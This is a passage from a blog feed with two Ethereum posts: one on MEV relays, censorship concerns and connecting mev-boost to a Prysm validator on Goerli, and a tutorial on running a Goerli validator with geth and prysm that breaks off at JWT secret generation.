!mt-8 !mb-4 first:!mt-0 first:!mb-0">🧩 6: relays</h2><blockquote><p><em>relays provide block escrow as the interim trusted router between proposers and builders, aggregating and verifying blocks (execution payloads) from multiple builders to select the block with the highest fees for the proposer.</em></p></blockquote><p>relays are in charge of validating and forwarding blocks, checking whether the block txs and attributes exist, the gas is within the validator’s <code>gasLimit</code>, and the fees are correct on <code>feeRecipient</code>. flashbots have provided two endpoints for relay block submission, <code>getValidators</code> (GET) and <code>submitBlock</code> (POST).</p><blockquote><p><strong>💡 SLOT COLLISIONS:</strong></p><p>collisions might occur when more than one relay pushes the payload for a slot.</p><p>for instance, if a block is the most profitable block for multiple relays, these relays would return that block during a <code>getHeader</code> request for a slot.</p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/02c82ed4a9fa223ae4479610273f9ae707e57ea8143e9e098ea51ca6642d4ece.webp" alt="image from flashbots.net" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image from flashbots.net</figcaption></figure><p>since searchers do not have to pay for failed bids (again, they can use the coinbase address directly), they could spam the network with invalid bundles.</p><p>relays could help mitigate <strong>denial-of-service (dos)</strong> threats by implementing priority queues, reputation scoring (e.g., <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.flashbots.net/flashbots-auction/searchers/advanced/reputation">flashbots’</a> or <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.rook.fi/reference/rook-protocol/reputation">rook’s</a>), or small stakes from builders before allowing them to submit blocks.</p><p>however, would this open the gates for censorship?</p><hr><h2 id="h-7-censorship" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧩 7: censorship</h2><p>in our post-merge ethereum, until pbs is incorporated into the network protocol, relays should intercept a significant part of the blocks that are produced.</p><p>the trusting value that relays carry is pretty obvious. apart from infrastructure challenges (<em>e.g.,</em> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://writings.flashbots.net/writings/understanding-mev-boost-liveness-risks/"><strong>hasu talks about liveness risk here</strong></a>), censorship is kind of a big thing.</p><p>as part of the pbs proposal, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://notes.ethereum.org/@fradamt/H1ZqdtrBF"><strong>censorship resistance lists (crlists)</strong></a> are designed to prevent builders from censoring users. in response, flashbots has <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/flashbots/mev-boost/issues/215"><strong>introduced a crlists discussion for mev-boost</strong></a><strong>.</strong></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8a7639992df378cd588fc6f4bd6ce7aac1d3e6ed23b436dc83c694ce7d14a073.png" alt="https://twitter.com/MessariCrypto/status/1582521931290419200" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/MessariCrypto/status/1582521931290419200</figcaption></figure><p>flahsbots provided <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://flashbots.notion.site/Relay-API-Spec-5fb0819366954962bc02e81cb33840f5#38a21c8a40e64970904500eb7b373ea5"><strong>a relay api spec</strong></a>, and has open-sourced <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/flashbots/mev-boost-relay"><strong>its relay golang code</strong></a> after some centralization <em>polemic</em>. Blocknative also <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/blocknative/dreamboat">open-sourced theirs.</a></p><p>however, at this point, probably because incentives to run an honest relay are unclear, there are <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://beaconcha.in/relays"><strong>only five relay</strong></a> groups available (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://boost-relay.flashbots.net/"><strong>flashbots</strong></a><strong>,  </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.blocknative.com/mev-relay-instructions-for-ethereum-validators"><strong>blocknative</strong></a><strong>,  </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://securerpc.com/"><strong>manifold</strong></a><strong>,  </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://bloxroute.max-profit.blxrbdn.com/"><strong>bloXroute</strong></a><strong>, and</strong> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://relay.edennetwork.io/info">eden</a>), and a promising one coming soon?</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a7e43e0ed3846c95e100282a50d65cd110192a73ea32d831cdb9194b088004c1.png" alt="https://twitter.com/0x81B/status/1582087247012110336" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/0x81B/status/1582087247012110336</figcaption></figure><p>some data on relays and builders regarding number of blocks, total value, and network participation can be found in the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.mevboost.org/"><strong>mevbost.org dashboard</strong></a><strong>.</strong></p><p>on top of the relay scarcity, the current relays still show some weird hiccups:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/dd31bcdd3a1c3431d85f63098a4443c4148beb209763e7bd15816d323b5ce44c.png" alt="https://twitter.com/jon_charb/status/1581396552815632384" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/jon_charb/status/1581396552815632384</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a97f5438e4db90bbf556debf1c034585c1c43a4557ff58f9264b86361683e941.png" alt="https://twitter.com/metachris/status/1581649475298525184" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/metachris/status/1581649475298525184</figcaption></figure><p>and the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/flashbots/rpc-endpoint/pull/92"><strong>OFAC polemic</strong></a> (the “office of foreign assets control”, a financial enforcement agency of the U.S., which was responsible for sanctioning tornado cash; more info at <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.mevwatch.info/"><strong>mevwatch.info</strong></a>):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/15bfb9af1a252c15a70d65a0526b1b857bc363d7ac71ba0f039d4b12ac5d178d.png" alt="https://twitter.com/koeppelmann/status/1580893089077809153" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/koeppelmann/status/1580893089077809153</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3dd1b6159e1dd1efd1193b340c4bb26a673f10482d0bed04bf84611210493209.png" alt="https://twitter.com/Nero_ETH/status/1574805871544213504" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/Nero_ETH/status/1574805871544213504</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f0100361971a3f1c30d306a6d64efbc3886a7c4bd83bbcc72801e8830f04e1c5.png" alt="https://twitter.com/DefiantNews/status/1582421621314187281" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/DefiantNews/status/1582421621314187281</figcaption></figure><p>other somehow related initiatives:</p><ul><li><p>flashbots released a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://transparency.flashbots.net/"><strong>mev-boost transparency dashboard</strong></a> of metrics related to their relay and builder since the merge.</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethresear.ch/t/approaches-to-complete-privacy-for-mev-boost/13376"><strong>here</strong></a> is a discussion by ethereum.org to complete privacy for mev-boost and another on privacy concerts with <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://collective.flashbots.net/t/privacy-concerns-with-data-api/568"><strong>flashbots data api</strong></a><strong>.</strong></p></li><li><p>flashbots says they are working on a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://hackmd.io/@ralexstokes/SynPJN_pq"><strong>relay monitor</strong></a> to track performance.</p></li></ul><p><em>there is really a lot to build…</em></p><hr><h2 id="h-8-mev-boost-your-validatooor" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧩 8: mev-boost + your validatooor</h2><p>okay, we are now ready for some terminal action.</p><h3 id="h-choosing-your-relays" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">choosing your relay(s)</h3><p>from the discussion above, you know we have <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/mev_toolkit/blob/main/NODES_on_Ethereum/RELAYS.md#mainnet-relay-list">only five options</a> to choose from.</p><p>how to pick? 🤷🏻‍♀️</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/dvush/check-relay-value"><strong>here is a tool that can help with some relay info and stats:</strong></a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ba600662c394017f66051620095aa773fee1aa866871b6b8e4da90a637cd58ef.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-running-mev-boost" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">running mev-boost</h3><p>let’s go back to our local setup from <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/mevwaifu.eth/F5PI4eqShKTGlx0GzL0Lq0-vHQ6b14OoV4ylE2FMsAc"><strong>🥓✨ run your own goerli validatooor</strong></a> and add a fourth terminal window for mev-boost.</p><blockquote><p><strong>💡 RUNNING YOUR NODE IN PRODUCTION:</strong></p><p>our local setup was proposed as an introduction to running your own ethereum nodes. as you advance, you might want to change your deployment design for each layer by: creating config files, configuring systemd/launchd, containerizing with docker, moving everything to a cloud service, getting specialized hardware, etc.</p><p>if you need help in this step, keep an eye on <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/mev_toolkit/tree/main/NODES_on_Ethereum">my github resources</a> (as i am planning to open-source at some point my docker + terraform + kubernetes game, and other scripts and configs).</p></blockquote><p>let’s go ahead and install <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/flashbots/mev-boost"><strong>mev-boost</strong></a><strong>.</strong> make sure you have <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://go.dev/doc/install"><strong>golang</strong></a><strong> i</strong>nstalled, and then follow mev-boost’s <code>README.md</code>:</p><pre data-type="codeBlock" text="go install github.com/flashbots/mev-boost@latest
"><code>go install github.com/flashbots<span class="hljs-operator">/</span>mev<span class="hljs-operator">-</span>boost@latest
</code></pre><p>now, let’s connect our goerli node to our favorite relays(s) through the default port <code>18550</code>. note that multiple beacon clients can use a single mev-boost instance.</p><pre data-type="codeBlock" text="./mev-boost -goerli -relay-check -relays relay1,relay2
"><code>./mev<span class="hljs-operator">-</span>boost <span class="hljs-operator">-</span>goerli <span class="hljs-operator">-</span>relay<span class="hljs-operator">-</span>check <span class="hljs-operator">-</span>relays relay1,relay2
</code></pre><p>the <code>--relay-check</code> flag checks the status of relays (returning error for any problem). if you are using flashbots relay on goerli, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://builder-relay-goerli.flashbots.net/"><strong>here is their dashboard</strong></a><strong>.</strong></p><p>success:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7a1c5f1f44a772bf4d8b8093292445c25253f8cbdfd8e510d661d0d02bf2c735.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-connect-mev-boost-to-your-beacon" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">connect mev-boost to your beacon</h3><p>now let’s start routing our beacon node through mev-boost by connecting it to <code>localhost:18550.</code></p><p>for prysm, this can be done with the flag <code>--http-mev-relay=localhost:18550.</code> for other consensus clients, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://boost.flashbots.net/"><strong>check this list</strong></a><strong>.</strong></p><p>our prior setup would now be:</p><pre data-type="codeBlock" text="./prysm.sh beacon-chain --prater \
--execution-endpoint=http://localhost:8551 \
--jwt-secret=/Volumes/&lt;ssd name&gt;/keys/jwt.hex \
--suggested-fee-recipient=&lt;your wallet address&gt; \
--db-backup-output-dir=/&lt;ssd name&gt;/ethereum/consensus \
--datadir=/&lt;ssd name&gt;/ethereum/consensus \
--http-mev-relay=localhost:18550
"><code>./prysm.sh beacon<span class="hljs-operator">-</span>chain <span class="hljs-operator">-</span><span class="hljs-operator">-</span>prater \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>execution<span class="hljs-operator">-</span>endpoint<span class="hljs-operator">=</span>http:<span class="hljs-comment">//localhost:8551 \</span>
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>jwt<span class="hljs-operator">-</span>secret<span class="hljs-operator">=</span><span class="hljs-operator">/</span>Volumes<span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span>ssd name<span class="hljs-operator">></span><span class="hljs-operator">/</span>keys<span class="hljs-operator">/</span>jwt.hex \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>suggested<span class="hljs-operator">-</span>fee<span class="hljs-operator">-</span>recipient<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>your wallet <span class="hljs-keyword">address</span><span class="hljs-operator">></span> \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>db<span class="hljs-operator">-</span>backup<span class="hljs-operator">-</span>output<span class="hljs-operator">-</span>dir<span class="hljs-operator">=</span><span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span>ssd name<span class="hljs-operator">></span><span class="hljs-operator">/</span>ethereum<span class="hljs-operator">/</span>consensus \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>datadir<span class="hljs-operator">=</span><span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span>ssd name<span class="hljs-operator">></span><span class="hljs-operator">/</span>ethereum<span class="hljs-operator">/</span>consensus \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>http<span class="hljs-operator">-</span>mev<span class="hljs-operator">-</span>relay<span class="hljs-operator">=</span>localhost:<span class="hljs-number">18550</span>
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1b37dbfbd4802e93ba837da319e00d5ed306d013db5989b4cde93bf39af4f771.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-connect-mev-boost-to-your-validator" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">connect mev-boost to your validator</h3><p>in the case of prysm, all you need to do is add the <code>—enable-builder</code> flag to the original command:</p><pre data-type="codeBlock" text="./prysm.sh validator --goerli \
--wallet-dir=/Volumes/&lt;ssd name&gt;/keys/wallet \
--suggested-fee-recipient=&lt;your wallet address&gt; \
--graffiti=&quot;&lt;some cool message that does not identify ya&gt;&quot; \
--enable-builder
"><code>./prysm.sh validator <span class="hljs-operator">-</span><span class="hljs-operator">-</span>goerli \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>wallet<span class="hljs-operator">-</span>dir<span class="hljs-operator">=</span><span class="hljs-operator">/</span>Volumes<span class="hljs-operator">/</span><span class="hljs-operator">&#x3C;</span>ssd name<span class="hljs-operator">></span><span class="hljs-operator">/</span>keys<span class="hljs-operator">/</span>wallet \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>suggested<span class="hljs-operator">-</span>fee<span class="hljs-operator">-</span>recipient<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>your wallet <span class="hljs-keyword">address</span><span class="hljs-operator">></span> \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>graffiti<span class="hljs-operator">=</span><span class="hljs-string">"&#x3C;some cool message that does not identify ya>"</span> \
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>enable<span class="hljs-operator">-</span>builder
</code></pre><p>if you see <code>&quot;Retrieved header from builder Retrieved full payload from builder&quot;</code>, celebrate victory 🏆.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0498eaacde2e4ee20292deb36fb9183eb5f22590f1965d999e29c4cc16cefbf3.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-changes-in-the-execution-client" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">changes in the execution client</h3><p>mev-boost is independent of any execution layer client, so nothing to do here, anon.</p><p>this is how it looks like after the setup above:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/56679f8ce6690186ca157f4fe7fe738bc4321812dc35444dd2fadcfa6d1a2d43.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/e83bcdbbd48aac257090333af92ef08f6cc6db30e8493eeef66dea08ad978888.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[on running your own goerli validator]]></title>
            <link>https://paragraph.com/@go-outside/on-running-your-own-goerli-validator</link>
            <guid>bG3DZE5To8tLGY1GVC1L</guid>
            <pubDate>Fri, 14 Oct 2022 02:49:00 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over how to set a goerli validator with geth and prysm, both locally or using (docker) containerization. the code in this post is available here.🎶 today’s moodhttps://open.spotify.com/track/1sotD6Cn8aOtUsL0bd5HTJ?si=ec5ea69d52b84dbcwhy run a testnet node validatorall right, anon, if you are serious about being a blockchain leet h4xoor developoor buildoor, you gotta run your own node at some point in your life. this way, you will able to understand the many pieces of the ethe...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over how to set a <strong>goerli</strong> validator with <strong>geth</strong> and <strong>prysm</strong>, both locally or using (docker) containerization.</p><p>the code in this post is available <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs">here</a>.</p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/1sotD6Cn8aOtUsL0bd5HTJ?si=ec5ea69d52b84dbc">https://open.spotify.com/track/1sotD6Cn8aOtUsL0bd5HTJ?si=ec5ea69d52b84dbc</a></p><hr><h2 id="h-why-run-a-testnet-node-validator" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">why run a testnet node validator</h2><p>all right, anon, if you are serious about being a blockchain leet h4xoor developoor buildoor, you gotta run your own node at some point in your life. this way, you will able to understand the many pieces of the ethereum network. oh, and, yeah, running just a light node is kinda cheating, just sayin’.</p><p>besides the learnings, full control and sovereignty, helping the community, etc. etc., the other cool aspect of running your own testnet node validator is that you will learn <em>real life</em> hands-on skills (<em>e.g.,</em> issues on deployments or transaction broadcast, CPU spikes, memory leaks, inconsistent peering, etc.).</p><p>plus, if you ever decide to stake and run your own mainnet validator (and receive that nice passive income while helping to <em>save the world</em>), you should try out setting a testnet first (and perhaps even a few permutations of the consensus and execution clients).</p><hr><h2 id="h-how-does-an-ethereum-node-work" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">how does an ethereum node work</h2><p>since the Merge (<em>i.e.,</em> when the beacon chain was merged to the main chain decoupling the ethereum network and migrating from proof-of-work to proof-of-stake), a node is now composed of an <strong>execution-layer</strong> and a <strong>consensus-layer</strong> working together.</p><p>therefore, ethereum nodes communicate peer-to-peer to secure the network, and require both <strong>execution and consensus client software</strong>.</p><h3 id="h-the-execution-layer" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the execution layer</h3><p>execution nodes use execution client software to process transactions and smart contracts in ethereum&apos;s <strong>execution layer</strong>.</p><p>here are the options:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://geth.ethereum.org/">geth</a> (golang)</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ledgerwatch/erigon">erigon</a> (golang)</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://nethermind.io/">nethermind</a> (.net)</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://besu.hyperledger.org/en/stable/">besu</a> (java)</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://akula.app/">akula</a> (rust)</p></li></ul><h3 id="h-the-beacon-consensus-layer" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the beacon + consensus layer</h3><p>the beacon chain was launched by separating the consensus layer from the execution client.</p><p>a beacon node will talk to other beacon nodes via peer-to-peer networking, to a local execution node, and (optionally) to a local validator.</p><p>validators are responsible for proposing and attesting blocks, fully replacing proof-of-work miners with proof-of-stake collateral stakers.</p><p>here are the options for beacon / validator clients:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/prysmaticlabs/prysm">prysm</a> (golang)</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/sigp/lighthouse">lighthouse</a> (rust)</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ConsenSys/teku">teku</a> (java)</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://nimbus.team/">nimbus</a> (nim, python)</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://lodestar.chainsafe.io/">lodestar</a> (typescript)</p></li></ul><h3 id="h-geth-prysm" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">geth + prysm</h3><p>in this post, we will be installing geth as our execution client and prysm as our beacon/validator client.</p><p>these are the most popular options, and although <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://clientdiversity.org/">client diversity is important for the robustness and security of the network</a>, i will leave the exploration of client permutations as an exercise for you, anon.</p><p><strong><em>Let’s start, shall we?</em></strong></p><hr><h2 id="h-step-0-the-pre-setup" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">step 0: the pre-setup</h2><p><strong>to run your node you will need:</strong></p><ul><li><p>a relatively modern multi-core CPU</p></li><li><p>8GB RAM (16GB is better, especially for mainnet)</p></li><li><p>an SSD (look for <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.kingston.com/en/community/articledetail/articleid/48543">NVMe</a>) of at least 1TB (2TB is recommended for mainnet, and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/chartsync/chainarchive">12TB+ if you want an archive node</a>)</p></li><li><p>a stable internet connection with good download speed and monthly data allowance</p></li><li><p>previously, you would need 32 (goerli) ETH to run a validator (just like in the mainnet). however, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://goerli.launchpad.ethstaker.cc/en/">goerli testnet validator deposits</a> were recently updated to only require 0.0001 (goerli) ETH. this sweet fake money can be mined from <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/lilith-security/GOERLI-FAUCET">this faucet</a>.</p></li></ul><p><strong>here are some architectural choices:</strong></p><ul><li><p>i will show you how to run your node locally with a fast external SSD hard drive. however, you could also run it in the cloud.</p></li><li><p>i will show you two options: 1) how to run directly from your terminal, or 2) running it with docker and docker-compose. containerization is more upfront work but more peace of mind later on. if this is your first time, i suggest you follow this tutorial. if you are confident, i suggest you set everything with docker following <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/mev_waifu_toolkit">my github repo</a>.</p></li><li><p>i will leave it as an exercise setting up your node in kubernetes, which could be done using the docker setup above. here is <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/mev_waifu_toolkit/tree/main/NODES_on_Ethereum/geth_and_k8s">some code to get you started</a>.</p></li></ul><hr><h2 id="h-step-1-generate-deposit-keys" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">step 1: generate deposit keys</h2><p>as a validator, to be able to stake your ETH, you need to create deposit keys. these are a JSON way to interchange <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/zkcrypto/bls12_381">BLS12-381</a> private keys defined by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eips.ethereum.org/EIPS/eip-2335">EIP-2335</a>, and consisting of:</p><ul><li><p>a <strong>withdrawal key</strong> that controls the funds on the validators, <em>i.e</em>., when you deposit or withdraw them. this key can be saved somewhere else, such as in a cold storage.</p></li><li><p>a <strong>signing key</strong> that is responsible for signing the actions that your validator performs on the network every epoch. this key needs to be always available.</p></li></ul><p>let’s create these keys by running <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ethereum/staking-deposit-cli">staking deposit cli</a>. install it following <code>README.md</code>and then generate keys from a new mnemonic:</p><pre data-type="codeBlock" text="./deposit.sh new-mnemonic --num_validators=1 
--mnemonic_language=english
"><code>./deposit.sh <span class="hljs-keyword">new</span><span class="hljs-operator">-</span>mnemonic <span class="hljs-operator">-</span><span class="hljs-operator">-</span>num_validators<span class="hljs-operator">=</span><span class="hljs-number">1</span> 
<span class="hljs-operator">-</span><span class="hljs-operator">-</span>mnemonic_language<span class="hljs-operator">=</span>english
</code></pre><p><strong>the 🐘 means success:</strong></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c2ae2860c5592fcceebeae8ba1cca525d009c24ca72a6546322c34807bab2868.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>it also means that you now have a directory called <code>validator_keys</code> that contains:</p><ul><li><p>a <code>keystore.json</code> file per validator, containing the signing key and encrypted by your password.</p></li><li><p>a <code>deposit_data.json</code> file with the public key associated with the validator, used to stake your (goerli) ETH</p></li></ul><p>move this directory to somewhere safe and, of course, keep your mnemonic safe.</p><hr><h2 id="h-step-2-generate-a-client-authentication-secret" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">step 2: generate a client authentication secret</h2><p>your node will have two independent clients running, and they need to talk to each other and the network securely through an authenticated port.</p><p>this is done by the JSON web token (JWT) authentication scheme, represented by a file that contains randomly generated 32-byte hex strings.</p><p>there are several ways to create this secret, and some consensus clients have built-in commands for that. i use the good ol’ <code>openssl</code> and move it to a safe accessible directory:</p><pre data-type="codeBlock" text="openssl rand -hex 32 | sudo tee jwt.hex &gt; /dev/null
